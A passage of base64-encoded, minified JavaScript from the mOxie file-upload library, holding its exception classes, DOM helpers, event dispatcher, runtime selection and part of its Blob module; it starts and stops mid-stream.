2JhbF9ldmVudF9kaXNwYXRjaGVyOiJtb3hpZS5jb3JlLkV2ZW50VGFyZ2V0Lmluc3RhbmNlLmRpc3BhdGNoRXZlbnQifTtyZXR1cm4gZi5PUz1mLm9zLGZ9KSxlKCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyJdLGZ1bmN0aW9uKG4pe2Z1bmN0aW9uIHIoZSx0KXt2YXIgaTtmb3IoaSBpbiBlKWlmKGVbaV09PT10KXJldHVybiBpO3JldHVybiBudWxsfXJldHVybntSdW50aW1lRXJyb3I6ZnVuY3Rpb24oKXtmdW5jdGlvbiBlKGUsdCl7dGhpcy5jb2RlPWUsdGhpcy5uYW1lPXIoaSxlKSx0aGlzLm1lc3NhZ2U9dGhpcy5uYW1lKyh0fHwiOiBSdW50aW1lRXJyb3IgIit0aGlzLmNvZGUpfXZhciBpPXtOT1RfSU5JVF9FUlI6MSxFWENFUFRJT05fRVJSOjMsTk9UX1NVUFBPUlRFRF9FUlI6OSxKU19FUlI6NH07cmV0dXJuIG4uZXh0ZW5kKGUsaSksZS5wcm90b3R5cGU9RXJyb3IucHJvdG90eXBlLGV9KCksT3BlcmF0aW9uTm90QWxsb3dlZEV4Y2VwdGlvbjpmdW5jdGlvbigpe2Z1bmN0aW9uIGUoZSl7dGhpcy5jb2RlPWUsdGhpcy5uYW1lPSJPcGVyYXRpb25Ob3RBbGxvd2VkRXhjZXB0aW9uIn1yZXR1cm4gbi5leHRlbmQoZSx7Tk9UX0FMTE9XRURfRVJSOjF9KSxlLnByb3RvdHlwZT1FcnJvci5wcm90b3R5cGUsZX0oKSxJbWFnZUVycm9yOmZ1bmN0aW9uKCl7ZnVuY3Rpb24gZShlKXt0aGlzLmNvZGU9ZSx0aGlzLm5hbWU9cih0LGUpLHRoaXMubWVzc2FnZT10aGlzLm5hbWUrIjogSW1hZ2VFcnJvciAiK3RoaXMuY29kZX12YXIgdD17V1JPTkdfRk9STUFUOjEsTUFYX1JFU09MVVRJT05fRVJSOjIsSU5WQUxJRF9NRVRBX0VSUjozfTtyZXR1cm4gbi5leHRlbmQoZSx0KSxlLnByb3RvdHlwZT1FcnJvci5wcm90b3R5cGUsZX0oKSxGaWxlRXhjZXB0aW9uOmZ1bmN0aW9uKCl7ZnVuY3Rpb24gZShlKXt0aGlzLmNvZGU9ZSx0aGlzLm5hbWU9cih0LGUpLHRoaXMubWVzc2FnZT10aGlzLm5hbWUrIjogRmlsZUV4Y2VwdGlvbiAiK3RoaXMuY29kZX12YXIgdD17Tk9UX0ZPVU5EX0VSUjoxLFNFQ1VSSVRZX0VSUjoyLEFCT1JUX0VSUjozLE5PVF9SRUFEQUJMRV9FUlI6NCxFTkNPRElOR19FUlI6NSxOT19NT0RJRklDQVRJT05fQUxMT1dFRF9FUlI6NixJTlZBTElEX1NUQVRFX0VSUjo3LFNZTlRBWF9FUlI6OH07cmV0dXJuIG4uZXh0ZW5kKGUsdCksZS5wcm90b3R5cGU9RXJyb3IucHJvdG90eXBlLGV9KCksRE9NRXhjZXB0aW9uOmZ1bmN0aW9uKCl7ZnVuY3Rpb24gZShlKXt0aGlzLmNvZGU9ZSx0aGlzLm5hbWU9cih0LGUpLHRoaXMubWVzc2FnZT10aGlzLm5hbWUrIjogRE9NRXhjZXB0aW9uICIrdGhpcy5jb2RlfXZhciB0PXtJTkRFWF9TSVpFX0VSUjoxLERPTVNUUklOR19TSVpFX0VSUjoyLEhJRVJBUkNIWV9SRVFVRVNUX0VSUjozLFdST05HX0RPQ1VNRU5UX0VSUjo0LElOVkFMSURfQ0hBUkFDVEVSX0VSUjo1LE5PX0RBVEFfQUxMT1dFRF9FUlI6NixOT19NT0RJRklDQVRJT05fQUxMT1dFRF9FUlI6NyxOT1RfRk9VTkRfRVJSOjgsTk9UX1NVUFBPUlRFRF9FUlI6OSxJTlVTRV9BVFRSSUJVVEVfRVJSOjEwLElOVkFMSURfU1RBVEVfRVJSOjExLFNZTlRBWF9FUlI6MTIsSU5WQUxJRF9NT0RJRklDQVRJT05fRVJSOjEzLE5BTUVTUEFDRV9FUlI6MTQsSU5WQUxJRF9BQ0NFU1NfRVJSOjE1LFZBTElEQVRJT05fRVJSOjE2LFRZUEVfTUlTTUFUQ0hfRVJSOjE3LFNFQ1VSSVRZX0VSUjoxOCxORVRXT1JLX0VSUjoxOSxBQk9SVF9FUlI6MjAsVVJMX01JU01BVENIX0VSUjoyMSxRVU9UQV9FWENFRURFRF9FUlI6MjIsVElNRU9VVF9FUlI6MjMsSU5WQUxJRF9OT0RFX1RZUEVfRVJSOjI0LERBVEFfQ0xPTkVfRVJSOjI1fTtyZXR1cm4gbi5leHRlbmQoZSx0KSxlLnByb3RvdHlwZT1FcnJvci5wcm90b3R5cGUsZX0oKSxFdmVudEV4Y2VwdGlvbjpmdW5jdGlvbigpe2Z1bmN0aW9uIGUoZSl7dGhpcy5jb2RlPWUsdGhpcy5uYW1lPSJFdmVudEV4Y2VwdGlvbiJ9cmV0dXJuIG4uZXh0ZW5kKGUse1VOU1BFQ0lGSUVEX0VWRU5UX1RZUEVfRVJSOjB9KSxlLnByb3RvdHlwZT1FcnJvci5wcm90b3R5cGUsZX0oKX19KSxlKCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsWyJtb3hpZS9jb3JlL3V0aWxzL0VudiJdLGZ1bmN0aW9uKGMpe3ZhciBpPWZ1bmN0aW9uKGUsdCl7cmV0dXJuISFlLmNsYXNzTmFtZSYmbmV3IFJlZ0V4cCgiKF58XFxzKykiK3QrIihcXHMrfCQpIikudGVzdChlLmNsYXNzTmFtZSl9O3JldHVybntnZXQ6ZnVuY3Rpb24oZSl7cmV0dXJuInN0cmluZyIhPXR5cGVvZiBlP2U6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZSl9LGhhc0NsYXNzOmksYWRkQ2xhc3M6ZnVuY3Rpb24oZSx0KXtpKGUsdCl8fChlLmNsYXNzTmFtZT1lLmNsYXNzTmFtZT9lLmNsYXNzTmFtZS5yZXBsYWNlKC9ccyskLywiIikrIiAiK3Q6dCl9LHJlbW92ZUNsYXNzOmZ1bmN0aW9uKGUsdCl7aWYoZS5jbGFzc05hbWUpe3ZhciBpPW5ldyBSZWdFeHAoIihefFxccyspIit0KyIoXFxzK3wkKSIpO2UuY2xhc3NOYW1lPWUuY2xhc3NOYW1lLnJlcGxhY2UoaSxmdW5jdGlvbihlLHQsaSl7cmV0dXJuIiAiPT09dCYmIiAiPT09aT8iICI6IiJ9KX19LGdldFN0eWxlOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIGUuY3VycmVudFN0eWxlP2UuY3VycmVudFN0eWxlW3RdOndpbmRvdy5nZXRDb21wdXRlZFN0eWxlP3dpbmRvdy5nZXRDb21wdXRlZFN0eWxlKGUsbnVsbClbdF06dm9pZCAwfSxnZXRQb3M6ZnVuY3Rpb24oZSx0KXtmdW5jdGlvbiBpKGUpe3ZhciB0LGksbj0wLHI9MDtyZXR1cm4gZSYmKGk9ZS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKSx0PSJDU1MxQ29tcGF0Ij09PXUuY29tcGF0TW9kZT91LmRvY3VtZW50RWxlbWVudDp1LmJvZHksbj1pLmxlZnQrdC5zY3JvbGxMZWZ0LHI9aS50b3ArdC5zY3JvbGxUb3ApLHt4Om4seTpyfX12YXIgbixyLG8scz0wLGE9MCx1PWRvY3VtZW50O2lmKGU9ZSx0PXR8fHUuYm9keSxlJiZlLmdldEJvdW5kaW5nQ2xpZW50UmVjdCYmIklFIj09PWMuYnJvd3NlciYmKCF1LmRvY3VtZW50TW9kZXx8dS5kb2N1bWVudE1vZGU8OCkpcmV0dXJuIHI9aShlKSxvPWkodCkse3g6ci54LW8ueCx5OnIueS1vLnl9O2ZvcihuPWU7biYmbiE9dCYmbi5ub2RlVHlwZTspcys9bi5vZmZzZXRMZWZ0fHwwLGErPW4ub2Zmc2V0VG9wfHwwLG49bi5vZmZzZXRQYXJlbnQ7Zm9yKG49ZS5wYXJlbnROb2RlO24mJm4hPXQmJm4ubm9kZVR5cGU7KXMtPW4uc2Nyb2xsTGVmdHx8MCxhLT1uLnNjcm9sbFRvcHx8MCxuPW4ucGFyZW50Tm9kZTtyZXR1cm57eDpzLHk6YX19LGdldFNpemU6ZnVuY3Rpb24oZSl7cmV0dXJue3c6ZS5vZmZzZXRXaWR0aHx8ZS5jbGllbnRXaWR0aCxoOmUub2Zmc2V0SGVpZ2h0fHxlLmNsaWVudEhlaWdodH19fX0pLGUoIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiLFsibW94aWUvY29yZS91dGlscy9FbnYiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIl0sZnVuY3Rpb24oZSxjLGwpe2Z1bmN0aW9uIHQoKXt0aGlzLnVpZD1sLmd1aWQoKX12YXIgZD17fTtyZXR1cm4gbC5leHRlbmQodC5wcm90b3R5cGUse2luaXQ6ZnVuY3Rpb24oKXt0aGlzLnVpZHx8KHRoaXMudWlkPWwuZ3VpZCgidWlkXyIpKX0sYWRkRXZlbnRMaXN0ZW5lcjpmdW5jdGlvbihlLHQsaSxuKXt2YXIgcixvPXRoaXM7cmV0dXJuIHRoaXMuaGFzT3duUHJvcGVydHkoInVpZCIpfHwodGhpcy51aWQ9bC5ndWlkKCJ1aWRfIikpLGU9bC50cmltKGUpLC9ccy8udGVzdChlKT92b2lkIGwuZWFjaChlLnNwbGl0KC9ccysvKSxmdW5jdGlvbihlKXtvLmFkZEV2ZW50TGlzdGVuZXIoZSx0LGksbil9KTooZT1lLnRvTG93ZXJDYXNlKCksaT1wYXJzZUludChpLDEwKXx8MCwocj1kW3RoaXMudWlkXSYmZFt0aGlzLnVpZF1bZV18fFtdKS5wdXNoKHtmbjp0LHByaW9yaXR5Omksc2NvcGU6bnx8dGhpc30pLGRbdGhpcy51aWRdfHwoZFt0aGlzLnVpZF09e30pLHZvaWQoZFt0aGlzLnVpZF1bZV09cikpfSxoYXNFdmVudExpc3RlbmVyOmZ1bmN0aW9uKGUpe3JldHVybihlPyhlPWUudG9Mb3dlckNhc2UoKSxkW3RoaXMudWlkXSYmZFt0aGlzLnVpZF1bZV0pOmRbdGhpcy51aWRdKXx8ITF9LHJlbW92ZUV2ZW50TGlzdGVuZXI6ZnVuY3Rpb24oZSx0KXt2YXIgaSxuLHI9dGhpcztpZihlPWUudG9Mb3dlckNhc2UoKSwvXHMvLnRlc3QoZSkpbC5lYWNoKGUuc3BsaXQoL1xzKy8pLGZ1bmN0aW9uKGUpe3IucmVtb3ZlRXZlbnRMaXN0ZW5lcihlLHQpfSk7ZWxzZSBpZihpPWRbdGhpcy51aWRdJiZkW3RoaXMudWlkXVtlXSl7aWYodCl7Zm9yKG49aS5sZW5ndGgtMTswPD1uO24tLSlpZihpW25dLmZuPT09dCl7aS5zcGxpY2UobiwxKTticmVha319ZWxzZSBpPVtdO2kubGVuZ3RofHwoZGVsZXRlIGRbdGhpcy51aWRdW2VdLGwuaXNFbXB0eU9iaihkW3RoaXMudWlkXSkmJmRlbGV0ZSBkW3RoaXMudWlkXSl9fSxyZW1vdmVBbGxFdmVudExpc3RlbmVyczpmdW5jdGlvbigpe2RbdGhpcy51aWRdJiZkZWxldGUgZFt0aGlzLnVpZF19LGRpc3BhdGNoRXZlbnQ6ZnVuY3Rpb24oZSl7dmFyIHQsaSxuLHIsbyxzPXt9LGE9ITA7aWYoInN0cmluZyIhPT1sLnR5cGVPZihlKSl7aWYocj1lLCJzdHJpbmciIT09bC50eXBlT2Yoci50eXBlKSl0aHJvdyBuZXcgYy5FdmVudEV4Y2VwdGlvbihjLkV2ZW50RXhjZXB0aW9uLlVOU1BFQ0lGSUVEX0VWRU5UX1RZUEVfRVJSKTtlPXIudHlwZSx2b2lkIDAhPT1yLnRvdGFsJiZ2b2lkIDAhPT1yLmxvYWRlZCYmKHMudG90YWw9ci50b3RhbCxzLmxvYWRlZD1yLmxvYWRlZCkscy5hc3luYz1yLmFzeW5jfHwhMX1pZigtMSE9PWUuaW5kZXhPZigiOjoiKT8odD0obz1lLnNwbGl0KCI6OiIpKVswXSxlPW9bMV0pOnQ9dGhpcy51aWQsZT1lLnRvTG93ZXJDYXNlKCksaT1kW3RdJiZkW3RdW2VdKXtpLnNvcnQoZnVuY3Rpb24oZSx0KXtyZXR1cm4gdC5wcmlvcml0eS1lLnByaW9yaXR5fSksKG49W10uc2xpY2UuY2FsbChhcmd1bWVudHMpKS5zaGlmdCgpLHMudHlwZT1lLG4udW5zaGlmdChzKTt2YXIgdT1bXTtsLmVhY2goaSxmdW5jdGlvbih0KXtuWzBdLnRhcmdldD10LnNjb3BlLHMuYXN5bmM/dS5wdXNoKGZ1bmN0aW9uKGUpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXtlKCExPT09dC5mbi5hcHBseSh0LnNjb3BlLG4pKX0sMSl9KTp1LnB1c2goZnVuY3Rpb24oZSl7ZSghMT09PXQuZm4uYXBwbHkodC5zY29wZSxuKSl9KX0pLHUubGVuZ3RoJiZsLmluU2VyaWVzKHUsZnVuY3Rpb24oZSl7YT0hZX0pfXJldHVybiBhfSxiaW5kT25jZTpmdW5jdGlvbih0LGksZSxuKXt2YXIgcj10aGlzO3IuYmluZC5jYWxsKHRoaXMsdCxmdW5jdGlvbiBlKCl7cmV0dXJuIHIudW5iaW5kKHQsZSksaS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9LGUsbil9LGJpbmQ6ZnVuY3Rpb24oKXt0aGlzLmFkZEV2ZW50TGlzdGVuZXIuYXBwbHkodGhpcyxhcmd1bWVudHMpfSx1bmJpbmQ6ZnVuY3Rpb24oKXt0aGlzLnJlbW92ZUV2ZW50TGlzdGVuZXIuYXBwbHkodGhpcyxhcmd1bWVudHMpfSx1bmJpbmRBbGw6ZnVuY3Rpb24oKXt0aGlzLnJlbW92ZUFsbEV2ZW50TGlzdGVuZXJzLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0sdHJpZ2dlcjpmdW5jdGlvbigpe3JldHVybiB0aGlzLmRpc3BhdGNoRXZlbnQuYXBwbHkodGhpcyxhcmd1bWVudHMpfSxoYW5kbGVFdmVudFByb3BzOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXM7dGhpcy5iaW5kKGUuam9pbigiICIpLGZ1bmN0aW9uKGUpe3ZhciB0PSJvbiIrZS50eXBlLnRvTG93ZXJDYXNlKCk7ImZ1bmN0aW9uIj09PWwudHlwZU9mKHRoaXNbdF0pJiZ0aGlzW3RdLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLGwuZWFjaChlLGZ1bmN0aW9uKGUpe2U9Im9uIitlLnRvTG93ZXJDYXNlKGUpLCJ1bmRlZmluZWQiPT09bC50eXBlT2YodFtlXSkmJih0W2VdPW51bGwpfSl9fSksdC5pbnN0YW5jZT1uZXcgdCx0fSksZSgibW94aWUvcnVudGltZS9SdW50aW1lIixbIm1veGllL2NvcmUvdXRpbHMvRW52IiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS9FdmVudFRhcmdldCJdLGZ1bmN0aW9uKHQsbCxkLGkpe2Z1bmN0aW9uIGgoZSx0LHIsaSxuKXt2YXIgbyxzLGE9dGhpcyx1PWwuZ3VpZCh0KyJfIiksYz1ufHwiYnJvd3NlciI7ZT1lfHx7fSxwW3VdPXRoaXMscj1sLmV4dGVuZCh7YWNjZXNzX2JpbmFyeTohMSxhY2Nlc3NfaW1hZ2VfYmluYXJ5OiExLGRpc3BsYXlfbWVkaWE6ITEsZG9fY29yczohMSxkcmFnX2FuZF9kcm9wOiExLGZpbHRlcl9ieV9leHRlbnNpb246ITAscmVzaXplX2ltYWdlOiExLHJlcG9ydF91cGxvYWRfcHJvZ3Jlc3M6ITEscmV0dXJuX3Jlc3BvbnNlX2hlYWRlcnM6ITEscmV0dXJuX3Jlc3BvbnNlX3R5cGU6ITEscmV0dXJuX3N0YXR1c19jb2RlOiEwLHNlbmRfY3VzdG9tX2hlYWRlcnM6ITEsc2VsZWN0X2ZpbGU6ITEsc2VsZWN0X2ZvbGRlcjohMSxzZWxlY3RfbXVsdGlwbGU6ITAsc2VuZF9iaW5hcnlfc3RyaW5nOiExLHNlbmRfYnJvd3Nlcl9jb29raWVzOiEwLHNlbmRfbXVsdGlwYXJ0OiEwLHNsaWNlX2Jsb2I6ITEsc3RyZWFtX3VwbG9hZDohMSxzdW1tb25fZmlsZV9kaWFsb2c6ITEsdXBsb2FkX2ZpbGVzaXplOiEwLHVzZV9odHRwX21ldGhvZDohMH0sciksZS5wcmVmZXJyZWRfY2FwcyYmKGM9aC5nZXRNb2RlKGksZS5wcmVmZXJyZWRfY2FwcyxjKSkscz17fSxvPXtleGVjOmZ1bmN0aW9uKGUsdCxpLG4pe3JldHVybiBvW3RdJiYoc1tlXXx8KHNbZV09e2NvbnRleHQ6dGhpcyxpbnN0YW5jZTpuZXcgb1t0XX0pLHNbZV0uaW5zdGFuY2VbaV0pP3NbZV0uaW5zdGFuY2VbaV0uYXBwbHkodGhpcyxuKTp2b2lkIDB9LHJlbW92ZUluc3RhbmNlOmZ1bmN0aW9uKGUpe2RlbGV0ZSBzW2VdfSxyZW1vdmVBbGxJbnN0YW5jZXM6ZnVuY3Rpb24oKXt2YXIgaT10aGlzO2wuZWFjaChzLGZ1bmN0aW9uKGUsdCl7ImZ1bmN0aW9uIj09PWwudHlwZU9mKGUuaW5zdGFuY2UuZGVzdHJveSkmJmUuaW5zdGFuY2UuZGVzdHJveS5jYWxsKGUuY29udGV4dCksaS5yZW1vdmVJbnN0YW5jZSh0KX0pfX0sbC5leHRlbmQodGhpcyx7aW5pdGlhbGl6ZWQ6ITEsdWlkOnUsdHlwZTp0LG1vZGU6aC5nZXRNb2RlKGksZS5yZXF1aXJlZF9jYXBzLGMpLHNoaW1pZDp1KyJfY29udGFpbmVyIixjbGllbnRzOjAsb3B0aW9uczplLGNhbjpmdW5jdGlvbihlLHQpe3ZhciBpPWFyZ3VtZW50c1syXXx8cjtpZigic3RyaW5nIj09PWwudHlwZU9mKGUpJiYidW5kZWZpbmVkIj09PWwudHlwZU9mKHQpJiYoZT1oLnBhcnNlQ2FwcyhlKSksIm9iamVjdCIhPT1sLnR5cGVPZihlKSlyZXR1cm4iZnVuY3Rpb24iPT09bC50eXBlT2YoaVtlXSk/aVtlXS5jYWxsKHRoaXMsdCk6dD09PWlbZV07Zm9yKHZhciBuIGluIGUpaWYoIXRoaXMuY2FuKG4sZVtuXSxpKSlyZXR1cm4hMTtyZXR1cm4hMH0sZ2V0U2hpbUNvbnRhaW5lcjpmdW5jdGlvbigpe3ZhciBlLHQ9ZC5nZXQodGhpcy5zaGltaWQpO3JldHVybiB0fHwoZT1kLmdldCh0aGlzLm9wdGlvbnMuY29udGFpbmVyKXx8ZG9jdW1lbnQuYm9keSwodD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSkuaWQ9dGhpcy5zaGltaWQsdC5jbGFzc05hbWU9Im1veGllLXNoaW0gbW94aWUtc2hpbS0iK3RoaXMudHlwZSxsLmV4dGVuZCh0LnN0eWxlLHtwb3NpdGlvbjoiYWJzb2x1dGUiLHRvcDoiMHB4IixsZWZ0OiIwcHgiLHdpZHRoOiIxcHgiLGhlaWdodDoiMXB4IixvdmVyZmxvdzoiaGlkZGVuIn0pLGUuYXBwZW5kQ2hpbGQodCksZT1udWxsKSx0fSxnZXRTaGltOmZ1bmN0aW9uKCl7cmV0dXJuIG99LHNoaW1FeGVjOmZ1bmN0aW9uKGUsdCl7dmFyIGk9W10uc2xpY2UuY2FsbChhcmd1bWVudHMsMik7cmV0dXJuIGEuZ2V0U2hpbSgpLmV4ZWMuY2FsbCh0aGlzLHRoaXMudWlkLGUsdCxpKX0sZXhlYzpmdW5jdGlvbihlLHQpe3ZhciBpPVtdLnNsaWNlLmNhbGwoYXJndW1lbnRzLDIpO3JldHVybiBhW2VdJiZhW2VdW3RdP2FbZV1bdF0uYXBwbHkodGhpcyxpKTphLnNoaW1FeGVjLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0sZGVzdHJveTpmdW5jdGlvbigpe2lmKGEpe3ZhciBlPWQuZ2V0KHRoaXMuc2hpbWlkKTtlJiZlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZSksbyYmby5yZW1vdmVBbGxJbnN0YW5jZXMoKSx0aGlzLnVuYmluZEFsbCgpLGRlbGV0ZSBwW3RoaXMudWlkXSx0aGlzLnVpZD1udWxsLHU9YT1vPWU9bnVsbH19fSksdGhpcy5tb2RlJiZlLnJlcXVpcmVkX2NhcHMmJiF0aGlzLmNhbihlLnJlcXVpcmVkX2NhcHMpJiYodGhpcy5tb2RlPSExKX12YXIgbj17fSxwPXt9O3JldHVybiBoLm9yZGVyPSJodG1sNSxmbGFzaCxzaWx2ZXJsaWdodCxodG1sNCIsaC5nZXRSdW50aW1lPWZ1bmN0aW9uKGUpe3JldHVybiEhcFtlXSYmcFtlXX0saC5hZGRDb25zdHJ1Y3Rvcj1mdW5jdGlvbihlLHQpe3QucHJvdG90eXBlPWkuaW5zdGFuY2UsbltlXT10fSxoLmdldENvbnN0cnVjdG9yPWZ1bmN0aW9uKGUpe3JldHVybiBuW2VdfHxudWxsfSxoLmdldEluZm89ZnVuY3Rpb24oZSl7dmFyIHQ9aC5nZXRSdW50aW1lKGUpO3JldHVybiB0P3t1aWQ6dC51aWQsdHlwZTp0LnR5cGUsbW9kZTp0Lm1vZGUsY2FuOmZ1bmN0aW9uKCl7cmV0dXJuIHQuY2FuLmFwcGx5KHQsYXJndW1lbnRzKX19Om51bGx9LGgucGFyc2VDYXBzPWZ1bmN0aW9uKGUpe3ZhciB0PXt9O3JldHVybiJzdHJpbmciIT09bC50eXBlT2YoZSk/ZXx8e306KGwuZWFjaChlLnNwbGl0KCIsIiksZnVuY3Rpb24oZSl7dFtlXT0hMH0pLHQpfSxoLmNhbj1mdW5jdGlvbihlLHQpe3ZhciBpLG4scj1oLmdldENvbnN0cnVjdG9yKGUpO3JldHVybiEhciYmKG49KGk9bmV3IHIoe3JlcXVpcmVkX2NhcHM6dH0pKS5tb2RlLGkuZGVzdHJveSgpLCEhbil9LGgudGhhdENhbj1mdW5jdGlvbihlLHQpe3ZhciBpPSh0fHxoLm9yZGVyKS5zcGxpdCgvXHMqLFxzKi8pO2Zvcih2YXIgbiBpbiBpKWlmKGguY2FuKGlbbl0sZSkpcmV0dXJuIGlbbl07cmV0dXJuIG51bGx9LGguZ2V0TW9kZT1mdW5jdGlvbihuLGUsdCl7dmFyIHI9bnVsbDtpZigidW5kZWZpbmVkIj09PWwudHlwZU9mKHQpJiYodD0iYnJvd3NlciIpLGUmJiFsLmlzRW1wdHlPYmoobikpe2lmKGwuZWFjaChlLGZ1bmN0aW9uKGUsdCl7aWYobi5oYXNPd25Qcm9wZXJ0eSh0KSl7dmFyIGk9blt0XShlKTtpZigic3RyaW5nIj09dHlwZW9mIGkmJihpPVtpXSkscil7aWYoIShyPWwuYXJyYXlJbnRlcnNlY3QocixpKSkpcmV0dXJuIHI9ITF9ZWxzZSByPWl9fSkscilyZXR1cm4tMSE9PWwuaW5BcnJheSh0LHIpP3Q6clswXTtpZighMT09PXIpcmV0dXJuITF9cmV0dXJuIHR9LGguZ2V0R2xvYmFsRXZlbnRUYXJnZXQ9ZnVuY3Rpb24oKXtpZigvXm1veGllXC4vLnRlc3QodC5nbG9iYWxfZXZlbnRfZGlzcGF0Y2hlcikmJiF0LmNhbigiYWNjZXNzX2dsb2JhbF9ucyIpKXt2YXIgZT1sLmd1aWQoIm1veGllX2V2ZW50X3RhcmdldF8iKTt3aW5kb3dbZV09ZnVuY3Rpb24oZSx0KXtpLmluc3RhbmNlLmRpc3BhdGNoRXZlbnQoZSx0KX0sdC5nbG9iYWxfZXZlbnRfZGlzcGF0Y2hlcj1lfXJldHVybiB0Lmdsb2JhbF9ldmVudF9kaXNwYXRjaGVyfSxoLmNhcFRydWU9ZnVuY3Rpb24oKXtyZXR1cm4hMH0saC5jYXBGYWxzZT1mdW5jdGlvbigpe3JldHVybiExfSxoLmNhcFRlc3Q9ZnVuY3Rpb24oZSl7cmV0dXJuIGZ1bmN0aW9uKCl7cmV0dXJuISFlfX0saH0pLGUoIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCIsWyJtb3hpZS9jb3JlL3V0aWxzL0VudiIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWUiXSxmdW5jdGlvbihlLGEsdCx1KXtyZXR1cm4gZnVuY3Rpb24oKXt2YXIgczt0LmV4dGVuZCh0aGlzLHtjb25uZWN0UnVudGltZTpmdW5jdGlvbihyKXt2YXIgZSxvPXRoaXM7aWYoInN0cmluZyI9PT10LnR5cGVPZihyKT9lPXI6InN0cmluZyI9PT10LnR5cGVPZihyLnJ1aWQpJiYoZT1yLnJ1aWQpLGUpe2lmKHM9dS5nZXRSdW50aW1lKGUpKXJldHVybiBvLnJ1aWQ9ZSxzLmNsaWVudHMrKyxzO3Rocm93IG5ldyBhLlJ1bnRpbWVFcnJvcihhLlJ1bnRpbWVFcnJvci5OT1RfSU5JVF9FUlIpfSFmdW5jdGlvbiBlKHQpe3ZhciBpLG47cmV0dXJuIHQubGVuZ3RoPyhpPXQuc2hpZnQoKS50b0xvd2VyQ2FzZSgpLChuPXUuZ2V0Q29uc3RydWN0b3IoaSkpPygocz1uZXcgbihyKSkuYmluZCgiSW5pdCIsZnVuY3Rpb24oKXtzLmluaXRpYWxpemVkPSEwLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtzLmNsaWVudHMrKyxvLnJ1aWQ9cy51aWQsby50cmlnZ2VyKCJSdW50aW1lSW5pdCIscyl9LDEpfSkscy5iaW5kKCJFcnJvciIsZnVuY3Rpb24oKXtzLmRlc3Ryb3koKSxlKHQpfSkscy5iaW5kKCJFeGNlcHRpb24iLGZ1bmN0aW9uKGUsdCl7dmFyIGk9dC5uYW1lKyIoIyIrdC5jb2RlKyIpIisodC5tZXNzYWdlPyIsIGZyb206ICIrdC5tZXNzYWdlOiIiKTtvLnRyaWdnZXIoIlJ1bnRpbWVFcnJvciIsbmV3IGEuUnVudGltZUVycm9yKGEuUnVudGltZUVycm9yLkVYQ0VQVElPTl9FUlIsaSkpfSkscy5tb2RlP3ZvaWQgcy5pbml0KCk6dm9pZCBzLnRyaWdnZXIoIkVycm9yIikpOnZvaWQgZSh0KSk6KG8udHJpZ2dlcigiUnVudGltZUVycm9yIixuZXcgYS5SdW50aW1lRXJyb3IoYS5SdW50aW1lRXJyb3IuTk9UX0lOSVRfRVJSKSksdm9pZChzPW51bGwpKX0oKHIucnVudGltZV9vcmRlcnx8dS5vcmRlcikuc3BsaXQoL1xzKixccyovKSl9LGRpc2Nvbm5lY3RSdW50aW1lOmZ1bmN0aW9uKCl7cyYmLS1zLmNsaWVudHM8PTAmJnMuZGVzdHJveSgpLHM9bnVsbH0sZ2V0UnVudGltZTpmdW5jdGlvbigpe3JldHVybiBzJiZzLnVpZD9zOnM9bnVsbH0sZXhlYzpmdW5jdGlvbigpe3JldHVybiBzP3MuZXhlYy5hcHBseSh0aGlzLGFyZ3VtZW50cyk6bnVsbH0sY2FuOmZ1bmN0aW9uKGUpe3JldHVybiEhcyYmcy5jYW4oZSl9fSl9fSksZSgibW94aWUvZmlsZS9CbG9iIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCJdLGZ1bmN0aW9uKHMsaSxuKXt2YXIgYT17fTtyZXR1cm4gZnVuY3Rpb24gbyhlLHQpe24uY2FsbCh0aGlzKSxlJiZ0aGlzLmNvbm5lY3RSdW50aW1lKGUpLHQ/InN0cmluZyI9PT1zLnR5cGVPZih0KSYmKHQ9e2RhdGE6dH0pOnQ9e30scy5leHRlbmQodGhpcyx7dWlkOnQudWlkfHxzLmd1aWQoInVpZF8iKSxydWlkOmUsc2l6ZTp0LnNpemV8fDAsdHlwZTp0LnR5cGV8fCIiLHNsaWNlOmZ1bmN0aW9uKGUsdCxpKXtyZXR1cm4gdGhpcy5pc0RldGFjaGVkKCk/ZnVuY3Rpb24oZSx0LGkpe3ZhciBuLHI9YVt0aGlzLnVpZF07cmV0dXJuInN0cmluZyI9PT1zLnR5cGVPZihyKSYmci5sZW5ndGg/KChuPW5ldyBvKG51bGwse3R5cGU6aSxzaXplOnQtZX0pKS5kZXRhY2goci5zdWJzdHIoZSxuLnNpemUpKSxuKTpudWxsfS5hcHBseSh0aGlzLGFyZ3VtZW50cyk6dGhpcy5nZXRSdW50aW1lKCkuZXhlYy5jYWxsKHRoaXMsIkJsb2IiLCJzbGljZSIsdGhpcy5nZXRTb3VyY2UoKSxlLHQsaSl9LGdldFNvdXJjZTpmdW5jdGlvbigpe3JldHVybiBhW3RoaXMudWlkXT9hW3RoaXMudWlkXTpudWxsfSxkZXRhY2g6ZnVuY3Rpb24oZSl7aWYodGhpcy5ydWlkJiYodGhpcy5nZXRSdW50aW1lKCkuZXhlYy5jYWxsKHRoaXMsIkJsb2IiLCJkZXN0cm95IiksdGhpcy5kaXNjb25uZWN0UnVudGltZSgpLHRoaXMucnVpZD1udWxsKSwiZGF0YToiPT0oZT1lfHwiIikuc3Vic3R